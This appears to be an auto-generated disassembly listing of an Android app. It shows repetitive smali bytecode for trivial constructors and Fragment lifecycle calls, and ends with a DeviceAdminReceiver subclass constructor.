2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.support.v4.app.Fragment.onStart
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/support/v4/app/Fragment;->onStart()V
3return-void
Cross References
APIs
  • android.support.v4.app.Fragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/Fragment;-><init>()V
3return-void
Cross References
APIs
  • android.support.v4.app.Fragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/Fragment;-><init>()V
3return-void
Cross References
APIs
  • android.support.v4.app.DialogFragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/DialogFragment;-><init>()V
3return-void
Cross References
APIs
  • android.support.v4.app.DialogFragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/DialogFragment;-><init>()V
3return-void
Cross References
APIs
  • android.support.v4.app.Fragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/Fragment;-><init>()V
3return-void
Cross References
APIs
  • android.support.v4.app.Fragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/Fragment;-><init>()V
3return-void
APIs
  • android.support.v4.app.Fragment.onDestroyView
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/support/v4/app/Fragment;->onDestroyView()V
3return-void
Cross References
APIs
  • android.support.v4.app.Fragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/Fragment;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.admin.DeviceAdminReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
3return-void